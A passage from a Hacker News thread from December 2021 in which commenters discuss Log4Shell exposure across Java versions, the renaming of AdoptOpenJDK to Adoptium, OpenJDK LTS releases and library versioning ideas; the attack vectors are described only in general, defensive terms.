| At one point Oracle changed the licensing, which caused
| enterprises to stop upgrading.
| radicalbyte wrote:
| The latest LTS version of OpenJDK is 11
| (https://adoptopenjdk.net). I certainly don't touch the Oracle
| version with a barge pole and I assume that a large proportion
| of the industry also avoid it.
| lars_francke wrote:
| FYI: AdoptOpenJDK is now https://adoptium.net/ and the latest
| LTS version is 17.
| justinclift wrote:
| Ugh. That seems like a really, really silly name change.
|
| Going from something obvious, to something that has no
| immediate relationship to java, jdk, or anything related.
| :/
|
| I guess people will have to learn to remember it over time.
| Cu3PO42 wrote:
| Some time ago I read a pertinent comment from someone
| working on JDK here on HN. Unfortunately I can't find it,
| so I'll have to paraphrase:
|
| Even though Adoptium has some big names backing it, they
| aren't big contributors to Java. This is relevant because
| it implies they get access to not-yet-publicly-diclosed
| vulnerabilities and the corresponding patches later than
| other projects. Rather, one should try to use a
| distribution by one of the major contributors, for
| example Red Hat or SAP.
|
| Since I cannot currently provide the source and I cannot
| personally verify this either, take this with a grain of
| salt.
| layer8 wrote:
| Actually, the full name is Eclipse Adoptium Temurin now.
| O_o
| skissane wrote:
| > Ugh. That seems like a really, really silly name
| change.
|
| When they became an Eclipse project, the Eclipse
| Foundation was concerned that "AdoptOpenJDK" might lead
| to trademark problems with Oracle, given that "OpenJDK"
| is an Oracle trademark. Absent explicit permission from
| Oracle to use a name incorporating "OpenJDK" (which has
| not been received), Eclipse said the name had to change.
| vips7L wrote:
| Same with Azul zulu. 17 is lts.
| brabel wrote:
| > But one thing that I haven't seen mentioned enough is that
| this only affects pretty old versions of java.
|
| Please stop repeating this. The only attack that won't work on
| newer JVM versions is the one based on the LDAP server
| returning an ObjectFactory that redirects to a class file based
| on another remote HTTP server. However, that's absolutely not
| the only attack vector. LDAP itself has other attacks that are
| possible, and there are other JNDI integrations that also have
| different attacks, amongst other things, related to Java
| serialization (and once you can de-serialize bytes on someone's
| JVM, you have a smorgasbord of attack vectors to play with).
|
| If your log4j version is resolving JNDI strings, you are NOT
| SAFE regardless of which JVM version you're using.
| hn_throwaway_99 wrote:
| I wish your comment would get higher visibility.
|
| To clarify, the vulnerability would make it possible to post
| server environment variables to any remote server,
| _regardless of JRE version_. That could easily end up being
| as catastrophic as an RCE.
| shawnz wrote:
| Simply using a modern JDK does not fully resolve the issue. See
| here:
| https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
| smsm42 wrote:
| I have tons of stuff running on Java 8. It's LTS version and no
| reason to change working builds, adding more unknowns into the
| system.
| smasher164 wrote:
| It'd be interesting to see a library versioning model where
| _every_ release is a breaking release, where we accept that Hyrum
| 's law is a fact of reality (like Nix I guess?).
|
| Then, the release process of a new version is additionally
| required to provide some migration path from previous releases.
| For example, if the language-level API is the same, but the
| behavior is slightly different, provide a diagnostic message that
| shows up in the editor when the library's updated.
|
| On the other hand, if the language-level API has changed,
| additionally provide a "go fix"-like program that can migrate the
| user's code to use the updated library. As long as a migration
| path is provided/automated, updating libraries would be as easy
| updating to use an API-compatible release.
___________________________________________________________________
(page generated 2021-12-11 23:00 UTC)